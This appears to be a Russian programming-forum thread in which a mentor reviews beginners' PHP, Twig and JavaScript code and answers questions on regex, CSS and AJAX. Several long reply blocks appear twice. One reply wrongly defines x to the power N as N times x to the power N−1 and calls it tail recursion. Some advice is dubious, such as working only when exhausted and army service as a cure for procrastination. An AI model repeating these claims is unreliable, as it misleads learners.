Добавь-ка в форме регистрации (а заодно во всех других формах) HTML5-свойства которые позволяют делать валидацию на стороне браузера. Хорошо бы это оформить отдельным коммитом.
> onfocus="this.value=''"
Это будет сбрасывать текст каждый раз при попытке отредактирвать. Сделать надо по-другому, надо просто при выводе если имя пустое, выводить вместо него анонимуса.
> <input type="button" onclick="postComment()"
Отправить форму можно не только кнопкой. Надо использовать событие submit и предотвращать действие по умолчанию (не-аяксовая отправка формы).
> xhr2.open("GET", "/ajax/comments/{{ file.id }}");
Мне это не нравится, не надо смешивать JS код и twig. Лучше все переменные задать в самом начале:
var a= {{ x | json_encode | raw }};
var b = ...
А затем просто JS код. Это позволит например легко вынести его во внешний файл.
Также, у тебя очень странно реализован аякс: ты шлешь POST на отправку, а затем второй запрос на получение комментария, а можно сразу прислать нужные данные в ответе на первый запрос. Ну и не надо писать код простыней, надо разбивать на функции, функцию отправки аякс запроса надо сделать отдельно.
Обновлять все комментарии ради одного — это перебор. Надо вставлять в дерево ДОМ ровно один этот комментарий. Ну или если ты хочешь посложнее, то неплохо бы присылать также новые комменатрии, а также сделать кнопку обновления комментариев.
Также не вижу где у тебя предусмотрено получение с сервера ошибок отправки и выводи их пользователю.
> $app->post('/register', function() use ($app) {
Для форм POST и GET обычно объединяют в одном обработчике. Тут есть какая-то пичина поступить иначе?
Ну и еще, если ты не очень хорошо знаешь HTML/CSS и JS то у нас в ОП посте есть задания по ним, их можно делать параллельно с PHP. С версткой у тебя как-то все не хорошо пока.
Я проверял только изменения за последние 20 дней, вот это: https://github.com/V3N0m21/Uppu3/compare/master@%7B20days%7D...master
Верно?
> Всякие запросы txt и xml файлов, но нигде доходчиво не расписано как например запостить что-то, обратно получить изменение страницы и как сделать все правильно.
А ты HTTP хорошо знаешь? Что такое методы, заголовки, код ответа, как отпраляются данные формы при POST запросе?
Данные на сервер посылают через GET или POST параметры. Выбор GET или POST зависит от того что ты делаешь (GET кешируется и не должен менять ничего на сервере). Ответ отправляется обычно в 1 из 2 форматов:
- просто HTML, который вставляется в нужное место страницы, минус: нельзя отправить в ответ сообщение об ошибке (разве что только через HTTP код ответа)
- JSON который позволяет передать любые данные, в том числе статус и наличие ошибки. Он удобнее.
В интерфейсе пользователя ты должен сделать следующее:
- индикацию что идет отправка запроса и блокировку кнопки отправки на это время (обычно используют анимацию, например CSS анимацию или гифку). Иногда индикатор показвают с небольшой задержкой (50-150 мс) чтобы при быстром ответе сервера он не мигал зря, но если задержку поставить большой то у пользователя будт ощущение медленной реакции системы, что плохо.
- при ошибке транспорта (ну то есть не удалось соединиться с сервером, код ответа не 200, ответ в неверном формате), а также логических ошибках (не введен текст комментария, комментарий содержит нехорошие слова) надо выводить соответствующее сообщение и давать возможность повторить попытку
- по желанию можно добавить таймаут для защиты от зависших запросов при плохой связи, но таймаут должен быть большим, наверно порядка минуты, чтобы на медленных плохих соединениях данные успевали отправиться.
В коде стоит сделать отдельную функцию для отправки запроса (например sendAjaxRequest) с интерфейсом, аналогичным тому что используется в jQuery:
http://api.jquery.com/jquery.ajax/
http://jquery.page2page.ru/index.php5/Ajax-%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81 (рус)
Все опции делать конечно не надо, хватит только тех что нужны тебе.
Вообще, это важная тема так что уточняй, если что непонятно. При аякс-запросе ты берешь на себя часть функций браузера и должен предоставлять нужные элементы интерфейса (например индикатор отправки).
> https://github.com/V3N0m21/Uppu3/blob/master/app/Entity/Comment.php
Этот код и аналогичный надо отформатировать. Аннотации надо выстроить вертикально, а не в 1 строчку.
> https://github.com/V3N0m21/Uppu3/blob/master/app/Entity/Comment.php#L51
> @ORM\Column(name="fileId", type="integer")
Тут должен стоять не маппинг на колонку, а связь с файлом. Никакой выгоды от замены объекта на его id нету.
Кстати проверить правильность маппингов можно командой doctrine orm:validate-schema, только надо разобарться как ее вызывать:
http://doctrine-orm.readthedocs.org/en/latest/reference/tools.html#runtime-vs-development-mapping-validation
Может быть так:
> ./vendor/bin/doctrine-module orm:validate-schema
может как-то еще. Там, кстати, доктрина умеет даже SQL код генерирвать и таблицы создавать по описанию сущностей, хотя нужно ли это в данном проекте, не знаю. Тебе наверно лучше пока руками создавать все.
> public function setCreated()
> {
> $this->created = new \DateTime("now");
Тогда функцию надо называть setCreatedNow. Более того, если у тебя это по умолчанию так, то можно прописать это прямо в конструктор.
> public function setPassword($password)
Это пароль или хеш? Если хеш то надо переименовать. Если пароль то почему хранишь в базе открытые пароли?
Тут не должно быть статического метода, а должен быть класс где $em передается в конструктор (то есть Dependency injection).
Также, мне не нравится это массиво-ориентированное программирование везде. У нас же есть объекты, давай их передавать для сохранения и валидации. Тут правда появляется проблема, а что делать с полями которых в объекте нет (вроде пароля и подтверждения)? Есть 2 выхода:
- передавать их отдельно массивом
- сделать объект типа RegsiterFormModel который содержит объект User + лишние поля. Но стоит ли этим заморачиваться?
Но то, что есть в User, я думаю, массивом передавать не стоит.
> $userResource = new User;
Почему resource? Это же модель, $userModel или просто $user.
Также, я не уверен что UserHelper должен вызывать flush(). Это наверно логично в контроллере делать (может даже как-то автоматизированно), а не раскидывать по 20 местам в коде. Ну и это позволит делать несколько изменений в рамках одной транзакции. Ну то есть тут надо подумать, какую логику мы хотим: делать изменения одной транзакцией или несколькими.
> app/Helper/ValidationHelper.php
Название плохое, надо назвать UserValidator. И уменьшить там число массивов. Также надо подумать, а не лучше ли возвращать ошибки явно, чем хранить их в свойстве error? А если хранить то сделать удобные методы вроде hasErrors().
Также непонятна логика возврата значений, когда он может вернуть либо true либо сообщение. Не лучше ли при отстутсвии ошибки возвращать например null?
> return $this->error['login'] = "Login should be filled";
Такие вещи надо писать в 2 строки.
> notEmpty
Имена функций начинаются с глагола
Не хватает проверки на уникальность email. Нет проверки на длину пароля. В email надо запретить использовать пробелы.
> postForm{{comment.id}}
Это что за ерунда? Имя переменной формируется динамически? Это ненадежно и неподдерживаемо, так делать не надо. тем более я не вижу в твоем коде места где бы создавались эти переменные.
> '{{comment.user}}'
А что если в имени кавычка? Если бекслеш? JS-данные надо вставлять через json_encode. После того как заменишь, проверь что любые спецсимволы и все виды кавычек, бекслешей не ломают JS код.
> <ul style="list-style:none;">
CSS должен быть в CSS файле. Также, шаблоны тоже надо отформатировать нормально, отступы все расползлись (табы используешь небось?)
> <i>{{ comment.user }} wrote:</i>
> <h4>Нажмите чтоб написать комментарий</h4>
Оформление и внешний вид должны задаваться через CSS а не тегами. Теги используются для смысловой разметки. Найди потом время порешать наши задачки на HTML/CSS ибо с ними все плохо.
> <span>reply</span>
Почему не button type=button ?
Добавь-ка в форме регистрации (а заодно во всех других формах) HTML5-свойства которые позволяют делать валидацию на стороне браузера. Хорошо бы это оформить отдельным коммитом.
> onfocus="this.value=''"
Это будет сбрасывать текст каждый раз при попытке отредактирвать. Сделать надо по-другому, надо просто при выводе если имя пустое, выводить вместо него анонимуса.
> <input type="button" onclick="postComment()"
Отправить форму можно не только кнопкой. Надо использовать событие submit и предотвращать действие по умолчанию (не-аяксовая отправка формы).
> xhr2.open("GET", "/ajax/comments/{{ file.id }}");
Мне это не нравится, не надо смешивать JS код и twig. Лучше все переменные задать в самом начале:
var a= {{ x | json_encode | raw }};
var b = ...
А затем просто JS код. Это позволит например легко вынести его во внешний файл.
Также, у тебя очень странно реализован аякс: ты шлешь POST на отправку, а затем второй запрос на получение комментария, а можно сразу прислать нужные данные в ответе на первый запрос. Ну и не надо писать код простыней, надо разбивать на функции, функцию отправки аякс запроса надо сделать отдельно.
Обновлять все комментарии ради одного — это перебор. Надо вставлять в дерево ДОМ ровно один этот комментарий. Ну или если ты хочешь посложнее, то неплохо бы присылать также новые комменатрии, а также сделать кнопку обновления комментариев.
Также не вижу где у тебя предусмотрено получение с сервера ошибок отправки и выводи их пользователю.
> $app->post('/register', function() use ($app) {
Для форм POST и GET обычно объединяют в одном обработчике. Тут есть какая-то пичина поступить иначе?
Ну и еще, если ты не очень хорошо знаешь HTML/CSS и JS то у нас в ОП посте есть задания по ним, их можно делать параллельно с PHP. С версткой у тебя как-то все не хорошо пока.
Возможно просто что ты изучал не последовательно, а брался за сложные вещи сразу, не понимал в итоге как что работает и у тебя только получалось бездумно переписать код. А надо начинать с основ и простых вещей, чтобы понимать каждую строчку которую ты пишешь.
По поводу техник, я когда работаю обычно сижу несколько часов (от 4 до 10, как повезет, 10 конечно тяжело и это обычно надо всю ночь сидеть) не отрываясь, отвлечешься и ничего не сделашь. Обычно когда я проснулся отдохнувшим, голова хорошо работает, мне работать не хочется, прямо не могу, я сначала просижу весь день, и только когда устану и голова ничего не соображает, берусь за работу, так как мозгу уже все безразлично и он не возражает.
>>549106
> Почему когда я выбираю замену на пробел, то заменяется даже то, что я не говорил, по идее, заменять. Я вроде правильно написал, что заменять только (\\(|\\)|\\-){0,14} , а оно мне выдает результат как на пике.
Ну так у тебя стоит {0,14} то есть от 0 до 14 повторений. 0 повторений это пустая строка, и он каждый промежуток между 2 буквами считает пустой строкой и с радостью заменяет на точку. Более того, ты не использовал флаг u а это значит что если бы там были русские буквы (состоящие из 2 байт каждая), он бы их разломал на куски.
Также, паста:
-----
Задачу про номера телефонов надо проверить на большом числе телефонов, чтобы убедиться что твой код правильный. Но руками подставлять номера — долго и скучно. Пусть работает робот, а не человек!
Для этого давай добавим в программу тесты, чтобы сразу было видно, верно все работает или нет. Сделай 2 списка номеров (правильные и нет), добавь их в программу и напиши цикл, который их по очереди прогоняет через регулярку и проверяет что они определяются как надо (если нет — надо вывести какой именно номер не распознается правильно).
Но вы, аноны, так не делайте, так как у меня работа довольно механическая и думать там вредно, а вам наоборот, надо думать.
Вот список номеров:
Правильные: array('84951234567', '+74951234567', '8-495-1-234-567', ' 8 (8122) 56-56-56', '8-911-1234567', '8 (911) 12 345 67', '8-911 12 345 67', '8 (911) - 123 - 45 - 67', '+ 7 999 123 4567', '8 ( 999 ) 1234567', '8 999 123 4567');
Неправильные: array('02', '84951234567 позвать люсю', '849512345', '849512345678',
'8 (409) 123-123-123', '7900123467', '5005005001', '8888-8888-88',
'84951a234567', '8495123456a',
'+1 234 5678901', // неверный код страны
'+8 234 5678901', // либо 8 либо +7
'7 234 5678901' // нет +
);
>>549159
> Я как-то прерывался 2 раза на неделю примерно,
Это потому что ты в зоне комфорта, никто тебя не гонит, не бьет, в ухо не кричит. Человек стремится тратить минимум усилий, а если тебя мамка кормит и одевает, усилий прикладывать смысла нет. Сходил бы послужил, говорят в армии не попрокрастинируешь и не похиккуешь, мигом дурь выбивают.
Алсо, добавлю, видео, как лечат хиккикомори в Китае: http://megamozg.ru/post/2606/
>>549188
Фаулер не для начинающих, а вот регулярки тебе пригодятся, они сейчас везде, даже в текстовом редакторе есть поиск по регулярке.
>>549256
> ОП, input - это строчно-блочный элемент?
Он inline, но так называемый replaced element. Это значит что в отличие от просто inline элементов, чьи размеры и форма определяются заключенным в них текстом, у него есть собственный размер (но зато нет содержимого). replaced элементами являются картинки, видео, инпуты, кнопки, ифреймы. Там есть небольшие особенности их поведения и они похожи на инлайн-блоки.
Также, replaced элементы даже если им дать display: block, не растягиваются на всю доступную ширину.
Спецификация на англ. если любопытно: http://www.w3.org/TR/CSS21/visudet.html
> Переводить их в тип block, и флоатить мне чет лень.
Не надо.
Первый вариант без дивов, но с комментарием вполне подойдет. Не стоит сильно усложнять разметку в данном случае. Тем более что применить флоат можно было и к инпутам напрямую. Флоат автоматически применяет к элементу display: block (и это вроде написано на softwaremaniacs).
>>549271
Эти задания обычно не сами по себе, а относятся к какому-то проекту или сайту. Так что нам для начала тогда надо найти проект, над которым работать. Ну и прежде чем их делать надо изучить все нужные технологии, задачи в ОП посте как раз в этом могут помочь.
Обычно задачи вида: исправить баги, поменять что-то на сайте, добавить новый раздел или функцию на сайт.
Конкретные задачи конечно могу привести:
- поменять вид URL для каких-то страниц
- добавить sitemap на сайт (то есть автоматически его генерировать по расписанию)
- переделать отправку комментариев на аякс
- сделать счетчик числа просмотров страницы с постом
- оптимизировать SQL запросы на определенной странице
- перенести данные из базы одного сайта на другой (базы разного формата разумеется)
- разобраться почему не отправляются СМС в таких-то случаях
- добавить возможность пользователям самим что-нибудь редактировать
>>549272
Надо не только переписывать, но и писать самому.
>>549275
А ты выясни что нужно работодателям и учи это. Кстати, задачи в ОП посте практически все приближены к реальным требованиям.
>>549332
> Плагин под вордпресс написать не сможешь,
Если ты хорошо знаешь нужные технологии то с вордпрессом за день-два разберешься даже если первый раз его видишь. Есть же код, есть документация.
> интернет-магазин тоже сделать не сможешь.
В простейшем варианте это значит скачать и установить готовую CMS.
Но ты прав в том, что надо получать и близкие к практике знания. Но и книги тоже почитывать стоит, надо развивать мозги пока молодой, а то так и будешь всю жизнь верстку на вордпресс натягивать.
> Самое что противное, что и паттерны проектирования, кроме самых простых, по сути, ты тоже использовать не сможешь.
паттерны надо изучать когда есть опыт. Напиши файлообменник и там минимум пара паттернов найдется которые можно применить.
> и вот я знаю про два механизма в регулярных выражениях - детерминированный конечный автомат (ДКА) и недетерминированный конечный автомат (НКА).
Это интересная тема. Я как-то писал для себя (не дописал) свой движок регулярных выражений на PHP, правда работающий на уровне слов. Он не использовал автоматы, а должен был генерировать PHP-код (разумеется при желании можно и на других языках если важна производительность, например на Си), соответствующий регулярке.
> Надо было мне сделать отрицание по слову в регулярках, так я и встрял с этим на 40 минут.
(?!word) же
Все же я не думаю, что регулярки оказались совсем бесполезными. Конечные автоматы интересны тем, что позволяют многократно ускорить проверку на соответсвие регулярке в сложных случаях, где подход с виртуальной машиной и бектрекингом работает очень медленно, если ты знаешь английский то есть такая интересная статья: https://swtch.com/~rsc/regexp/
Я надеюсь, это тебе все же пригодится, ну хотя бы на собеседовании в Яндекс или Гугл будет что рассказать или может где-нибудь сможешь применить конечные автоматы. Штука-то интересная.
>>549347
Код надо читать так:
- x в степени 1 равен x (второй ретурн)
- x в степени N (N != 1) равен N умножить на x в степени N - 1 (первый ретурн, хвостовая рекурсия)
Хвостовая рекурсия значит что рекурсивный вызов это последнее действие в функции (в ретурне). Хвостовая рекурсия может быть заменена на цикл (да и не хвостовая наверно тоже, но тут код получится проще).
>>549368
console.log же. Кстати, вы знаете, что console значит «утешать»? https://slovari.yandex.ru/console/%D0%BF%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4/#lingvo/
>>549470
Лучше изучать то, что тебе интересно или что тебе нужно. Но если ты совсем начинающий то надо изучить HTML/CSS/JS/SQL/PHP а потом уже выбирать.
>>549518
2 пробела это обычно в HTML где отступов может быть много. Или в CSS. Но это не языки программирования. В хорошем коде отступов много не бывает и потому 4 пробела подходят. Ну а если их в JS ставят значит просто код не очень качественный.
>>549536
Начни с PHP/HTML/CSS/JS/SQL/MBC/ООП
>>549538
8-12 месяцев упорного труда
Возможно просто что ты изучал не последовательно, а брался за сложные вещи сразу, не понимал в итоге как что работает и у тебя только получалось бездумно переписать код. А надо начинать с основ и простых вещей, чтобы понимать каждую строчку которую ты пишешь.
По поводу техник, я когда работаю обычно сижу несколько часов (от 4 до 10, как повезет, 10 конечно тяжело и это обычно надо всю ночь сидеть) не отрываясь, отвлечешься и ничего не сделашь. Обычно когда я проснулся отдохнувшим, голова хорошо работает, мне работать не хочется, прямо не могу, я сначала просижу весь день, и только когда устану и голова ничего не соображает, берусь за работу, так как мозгу уже все безразлично и он не возражает.
>>549106
> Почему когда я выбираю замену на пробел, то заменяется даже то, что я не говорил, по идее, заменять. Я вроде правильно написал, что заменять только (\\(|\\)|\\-){0,14} , а оно мне выдает результат как на пике.
Ну так у тебя стоит {0,14} то есть от 0 до 14 повторений. 0 повторений это пустая строка, и он каждый промежуток между 2 буквами считает пустой строкой и с радостью заменяет на точку. Более того, ты не использовал флаг u а это значит что если бы там были русские буквы (состоящие из 2 байт каждая), он бы их разломал на куски.
Также, паста:
-----
Задачу про номера телефонов надо проверить на большом числе телефонов, чтобы убедиться что твой код правильный. Но руками подставлять номера — долго и скучно. Пусть работает робот, а не человек!
Для этого давай добавим в программу тесты, чтобы сразу было видно, верно все работает или нет. Сделай 2 списка номеров (правильные и нет), добавь их в программу и напиши цикл, который их по очереди прогоняет через регулярку и проверяет что они определяются как надо (если нет — надо вывести какой именно номер не распознается правильно).
Но вы, аноны, так не делайте, так как у меня работа довольно механическая и думать там вредно, а вам наоборот, надо думать.
Вот список номеров:
Правильные: array('84951234567', '+74951234567', '8-495-1-234-567', ' 8 (8122) 56-56-56', '8-911-1234567', '8 (911) 12 345 67', '8-911 12 345 67', '8 (911) - 123 - 45 - 67', '+ 7 999 123 4567', '8 ( 999 ) 1234567', '8 999 123 4567');
Неправильные: array('02', '84951234567 позвать люсю', '849512345', '849512345678',
'8 (409) 123-123-123', '7900123467', '5005005001', '8888-8888-88',
'84951a234567', '8495123456a',
'+1 234 5678901', // неверный код страны
'+8 234 5678901', // либо 8 либо +7
'7 234 5678901' // нет +
);
>>549159
> Я как-то прерывался 2 раза на неделю примерно,
Это потому что ты в зоне комфорта, никто тебя не гонит, не бьет, в ухо не кричит. Человек стремится тратить минимум усилий, а если тебя мамка кормит и одевает, усилий прикладывать смысла нет. Сходил бы послужил, говорят в армии не попрокрастинируешь и не похиккуешь, мигом дурь выбивают.
Алсо, добавлю, видео, как лечат хиккикомори в Китае: http://megamozg.ru/post/2606/
>>549188
Фаулер не для начинающих, а вот регулярки тебе пригодятся, они сейчас везде, даже в текстовом редакторе есть поиск по регулярке.
>>549256
> ОП, input - это строчно-блочный элемент?
Он inline, но так называемый replaced element. Это значит что в отличие от просто inline элементов, чьи размеры и форма определяются заключенным в них текстом, у него есть собственный размер (но зато нет содержимого). replaced элементами являются картинки, видео, инпуты, кнопки, ифреймы. Там есть небольшие особенности их поведения и они похожи на инлайн-блоки.
Также, replaced элементы даже если им дать display: block, не растягиваются на всю доступную ширину.
Спецификация на англ. если любопытно: http://www.w3.org/TR/CSS21/visudet.html
> Переводить их в тип block, и флоатить мне чет лень.
Не надо.
Первый вариант без дивов, но с комментарием вполне подойдет. Не стоит сильно усложнять разметку в данном случае. Тем более что применить флоат можно было и к инпутам напрямую. Флоат автоматически применяет к элементу display: block (и это вроде написано на softwaremaniacs).
>>549271
Эти задания обычно не сами по себе, а относятся к какому-то проекту или сайту. Так что нам для начала тогда надо найти проект, над которым работать. Ну и прежде чем их делать надо изучить все нужные технологии, задачи в ОП посте как раз в этом могут помочь.
Обычно задачи вида: исправить баги, поменять что-то на сайте, добавить новый раздел или функцию на сайт.
Конкретные задачи конечно могу привести:
- поменять вид URL для каких-то страниц
- добавить sitemap на сайт (то есть автоматически его генерировать по расписанию)
- переделать отправку комментариев на аякс
- сделать счетчик числа просмотров страницы с постом
- оптимизировать SQL запросы на определенной странице
- перенести данные из базы одного сайта на другой (базы разного формата разумеется)
- разобраться почему не отправляются СМС в таких-то случаях
- добавить возможность пользователям самим что-нибудь редактировать
>>549272
Надо не только переписывать, но и писать самому.
>>549275
А ты выясни что нужно работодателям и учи это. Кстати, задачи в ОП посте практически все приближены к реальным требованиям.
>>549332
> Плагин под вордпресс написать не сможешь,
Если ты хорошо знаешь нужные технологии то с вордпрессом за день-два разберешься даже если первый раз его видишь. Есть же код, есть документация.
> интернет-магазин тоже сделать не сможешь.
В простейшем варианте это значит скачать и установить готовую CMS.
Но ты прав в том, что надо получать и близкие к практике знания. Но и книги тоже почитывать стоит, надо развивать мозги пока молодой, а то так и будешь всю жизнь верстку на вордпресс натягивать.
> Самое что противное, что и паттерны проектирования, кроме самых простых, по сути, ты тоже использовать не сможешь.
паттерны надо изучать когда есть опыт. Напиши файлообменник и там минимум пара паттернов найдется которые можно применить.
> и вот я знаю про два механизма в регулярных выражениях - детерминированный конечный автомат (ДКА) и недетерминированный конечный автомат (НКА).
Это интересная тема. Я как-то писал для себя (не дописал) свой движок регулярных выражений на PHP, правда работающий на уровне слов. Он не использовал автоматы, а должен был генерировать PHP-код (разумеется при желании можно и на других языках если важна производительность, например на Си), соответствующий регулярке.
> Надо было мне сделать отрицание по слову в регулярках, так я и встрял с этим на 40 минут.
(?!word) же
Все же я не думаю, что регулярки оказались совсем бесполезными. Конечные автоматы интересны тем, что позволяют многократно ускорить проверку на соответсвие регулярке в сложных случаях, где подход с виртуальной машиной и бектрекингом работает очень медленно, если ты знаешь английский то есть такая интересная статья: https://swtch.com/~rsc/regexp/
Я надеюсь, это тебе все же пригодится, ну хотя бы на собеседовании в Яндекс или Гугл будет что рассказать или может где-нибудь сможешь применить конечные автоматы. Штука-то интересная.
>>549347
Код надо читать так:
- x в степени 1 равен x (второй ретурн)
- x в степени N (N != 1) равен N умножить на x в степени N - 1 (первый ретурн, хвостовая рекурсия)
Хвостовая рекурсия значит что рекурсивный вызов это последнее действие в функции (в ретурне). Хвостовая рекурсия может быть заменена на цикл (да и не хвостовая наверно тоже, но тут код получится проще).
>>549368
console.log же. Кстати, вы знаете, что console значит «утешать»? https://slovari.yandex.ru/console/%D0%BF%D0%B5%D1%80%D0%B5%D0%B2%D0%BE%D0%B4/#lingvo/
>>549470
Лучше изучать то, что тебе интересно или что тебе нужно. Но если ты совсем начинающий то надо изучить HTML/CSS/JS/SQL/PHP а потом уже выбирать.
>>549518
2 пробела это обычно в HTML где отступов может быть много. Или в CSS. Но это не языки программирования. В хорошем коде отступов много не бывает и потому 4 пробела подходят. Ну а если их в JS ставят значит просто код не очень качественный.
>>549536
Начни с PHP/HTML/CSS/JS/SQL/MBC/ООП
>>549538
8-12 месяцев упорного труда
В компоненты, судя по http://www.yiiframework.com/doc-2.0/guide-structure-overview.html это стоит сделать как компонент, может даже такой, который годится для любого сайта.
Алсо я подозреваю что это давно уже написано.
>>549635
БОМ вызывает проблемы при использовании в PHP так что не стоит.
Надо ставить мета чарсет.
>>549653
Как ты автоматически определишь кодировку, а? Кодировка это таблица, которая показывает какое число какую букву обозначает. Вот пришел тебе набор байт (чисел). Как ты определишь в какой он кодировке если в нем это не написано?
Есть конечно методы основанные на статическом анализе, но они неточные и могут ошибаться.
>>549660
Вы читать умеете, неучи? Мета чарсет нужен либо HTTP заголовок Content-Type с кодировкой.
>>549659
> preg_replace(): Compilation failed: unmatched parentheses at offset 38
Скобки не парами стоят, где-то (в байте номер 38) лишняя или не хватает.
>>549710
Что поделать.
>>549735
Потому что нельзя разорвать куски цикла на 2 файла. Алсо в шаблонах надо применять не } а endforeach для читабельности.
В файле все команды должны быть закрыты, ну то есть для каждой скобки быть парная.
>>549747
Нельзя. Ничего, не умрешь. Алсо странно выглядит код, что-то я сомневаюсь что тут надо использовать статические методы и поля. Это дурная практика, делать все статическими методами там где нужны нормальные.
>>549790
Абсолютно ненормальная (быдлокод по нашему). HTML надо отделять от PHP в отдельный файл.
http://www.phpinfo.su/articles/practice/shablony_v_php.html
Также почитай про работу с формами: https://github.com/codedokode/pasta/blob/master/forms.md
Все SQL запросы также должны выноситься в отдельный файл, желательно 1 класс на 1 таблицу. Ну там уже ООП пойдет, а я не уверен что ты его знаешь.
ну и про MVC почитай.
у тебя же все свалено в кучу, это верный способ получить неподдерживаемую лапшу в итоге.
В общем, я бы тебе советовал переучиться делать нормально. Пройди сначала Вектор в нашем учебнике (чтобы ООП изучить), кошки-мышки, а потом можешь студентов и файлообменник сделать из ОП поста.
Ну и при выводе надо использовать htmlspecialchars. Ужасный код, ужасный.
>>549796
Надо отделять и разносить по файлам.
>>549799
Ты прав
>>549813
Можно сделать так:
$this->validateStyleName($name); // бросает исключение если что не так
И далее уже без проверок писать.
Либо же return self::$path . $this->getStyle($name);
В компоненты, судя по http://www.yiiframework.com/doc-2.0/guide-structure-overview.html это стоит сделать как компонент, может даже такой, который годится для любого сайта.
Алсо я подозреваю что это давно уже написано.
>>549635
БОМ вызывает проблемы при использовании в PHP так что не стоит.
Надо ставить мета чарсет.
>>549653
Как ты автоматически определишь кодировку, а? Кодировка это таблица, которая показывает какое число какую букву обозначает. Вот пришел тебе набор байт (чисел). Как ты определишь в какой он кодировке если в нем это не написано?
Есть конечно методы основанные на статическом анализе, но они неточные и могут ошибаться.
>>549660
Вы читать умеете, неучи? Мета чарсет нужен либо HTTP заголовок Content-Type с кодировкой.
>>549659
> preg_replace(): Compilation failed: unmatched parentheses at offset 38
Скобки не парами стоят, где-то (в байте номер 38) лишняя или не хватает.
>>549710
Что поделать.
>>549735
Потому что нельзя разорвать куски цикла на 2 файла. Алсо в шаблонах надо применять не } а endforeach для читабельности.
В файле все команды должны быть закрыты, ну то есть для каждой скобки быть парная.
>>549747
Нельзя. Ничего, не умрешь. Алсо странно выглядит код, что-то я сомневаюсь что тут надо использовать статические методы и поля. Это дурная практика, делать все статическими методами там где нужны нормальные.
>>549790
Абсолютно ненормальная (быдлокод по нашему). HTML надо отделять от PHP в отдельный файл.
http://www.phpinfo.su/articles/practice/shablony_v_php.html
Также почитай про работу с формами: https://github.com/codedokode/pasta/blob/master/forms.md
Все SQL запросы также должны выноситься в отдельный файл, желательно 1 класс на 1 таблицу. Ну там уже ООП пойдет, а я не уверен что ты его знаешь.
ну и про MVC почитай.
у тебя же все свалено в кучу, это верный способ получить неподдерживаемую лапшу в итоге.
В общем, я бы тебе советовал переучиться делать нормально. Пройди сначала Вектор в нашем учебнике (чтобы ООП изучить), кошки-мышки, а потом можешь студентов и файлообменник сделать из ОП поста.
Ну и при выводе надо использовать htmlspecialchars. Ужасный код, ужасный.
>>549796
Надо отделять и разносить по файлам.
>>549799
Ты прав
>>549813
Можно сделать так:
$this->validateStyleName($name); // бросает исключение если что не так
И далее уже без проверок писать.
Либо же return self::$path . $this->getStyle($name);
>Нельзя. Ничего, не умрешь. Алсо странно выглядит код, что-то я сомневаюсь что тут надо использовать статические методы и поля. Это дурная практика, делать все статическими методами там где нужны нормальные.
Мне нужно просто возвращать полный путь к файлам стилей и плеера. В зависимости от разных условий дергаются разные стили + то что плеер постоянно обновляется, а мне уже надоело в 3 файлах одно и тоже менять, поэтому решил сделать вот такой вот класс. Инстанс вроде не нужен, поэтому решил методами класса сделать.
Спасибо за ответ.
> Можно сделать так:
> $this->validateStyleName($name); // бросает исключение если что не так
> И далее уже без проверок писать.
> Либо же return self::$path . $this->getStyle($name);
https://ideone.com/4nO0jM
Да, ОП, ты был прав насчет скобок, но вот я все поправил, а оно все равно не делает замену.
>Ну так у тебя стоит {0,14} то есть от 0 до 14 повторений. 0 повторений это пустая строка
вот здесь вообще капец, я думал, что задается так, что может быть 14 символов, а может и не быть вообще, а оно как-то пихает повсюду эти точки, странно.
Спасибо
Пустая строка соответствует всем промежуткам между буквами и с краев строки, то есть всем возможным местам. Ты можешь попробоват сделать замену для пустой регулярки //u и увидишь сам.
>8-12 месяцев упорного труда
Почему популярно называть phpников макаками? И что это очень легкий язык? Неужели другие языки еще дольше изучаются?
Неужели я настолько туп и ленив, что даже школьники тратят на учебу >8-12 месяцев упорного труда?
А я немощ в свои 21 не могу осилить это и застреваю на простецких задачках
Макаками называют не всех php-шников, а быдлокодеров, то есть тех, кто как раз не тратил это время на учебу, и может написать только примитивные вещи, копируя из проекта в проект куски кода, которые он не понимает. Гугли "теорему о бесконечных обезьянах".
Грамотных разработчиков на php очень мало, зато их труд ценится, соответствующая зарплата.
ну вот например есть class MyClass{}
Мы создаем объект класса $object = new MyClass;
и создать вторую переменную-объект того же класса низя? например $secondObject = new MyClass?
Нужно создавать два новых класса, которые унаследуют от MyClass, чтобы создать два разных объекта-переменных этих дочерних классов?
Ебанутый?
Я конечно ради интереса загуглил решение этой задачки и охуел. Я не всматривался в решение, но увидел там функцию, массивы, несколько форов и ифов.
Максимум, что я мог сделать https://ideone.com/dfjbmG
и то даже здесь я не понимаю почему латинские буквы которые стоят рядом друг с другом берутся в одну квадратную скобку, а не у каждой своя и как сделать, чтобы у каждой своя скобка была кроме как не накопипастить много раз [a-z] и то не уверен, что и так получится, но вроде должно.
Так вот, вот я даже примерно не могу себе представить как решать эту задачу, с какой стороны подойти и как начать.
Что мне в такой ситуации делать?
а) Сидеть ломать голову пока не умру произойдет чудо, если я пойму как это решать
б) Посмотреть решение и разобрать чужой код
в) Закрыть тред и забыть навсегда о php и программировании ясен хуй, что этот пункт я не выполню, но я приму во внимание твое мнение
Кстати вот этот случай когда ты с легких задачек типа "убери тире в номере" перепрыгиваешь сразу на суперхард, как для меня.может и не хард, конечно, но для меня хард
>Возможно просто что ты изучал не последовательно, а брался за сложные вещи сразу, не понимал в итоге как что работает
Тебе нужно понять суть регулярок. Вот например почитать http://javascript.ru/RegExp (там что в пхп что в жс суть одна и та же).
Регулярки - это вообще первое что я изучил и понял в программировании. Если ты поймешь - будет очень полезно.
У тебя в примере можно сократить до одного [a-z]
мимо
http://jsfiddle.net/5e4yLywm/
Как бы это подсократить? inb4: ко-ко-ко, используй jquery
Есть такие варианты:
- регуляркой разбить className на массив имен классов и поискать в нем
- сделать регулярку из имени класса и проверить соответствует ли ей className
- (один из самых быстрых вариантов) заменяем в className все пробельные символы (\ s) на пробелы, приписываем пробелы с краев, также приписываем пробелы к имени класса и проверяем является ли второе подстрокой первого
Далее: http://pastebin.com/6vKtSQbW (вакаба не пропускает текст)
В общем, попробуй решить разными способами и вкинь потом код на проверку.
Алсо, у тебя логическая ошибка:
> indexOf(className)
Это находит только первое совпадение с искомым именем, но ведь там может быть и второе и третье, а ты их не проверяешь. В такой ситауции:
class="some-class some"
Твоя функция найдет слово «some» в начале но не найдет второе слово some.
Да, что-то протупил.
Регулярка не при чем, можно же разбить обычным сплитом по пробелу.
http://jsfiddle.net/5e4yLywm/2/
>>549939
Так нам и нужно только одно вхождение, функция проверяет, есть класс у элемента или нет. Пусть у него даже 10 раз присвоен один и тот же класс, это ничего не меняет.
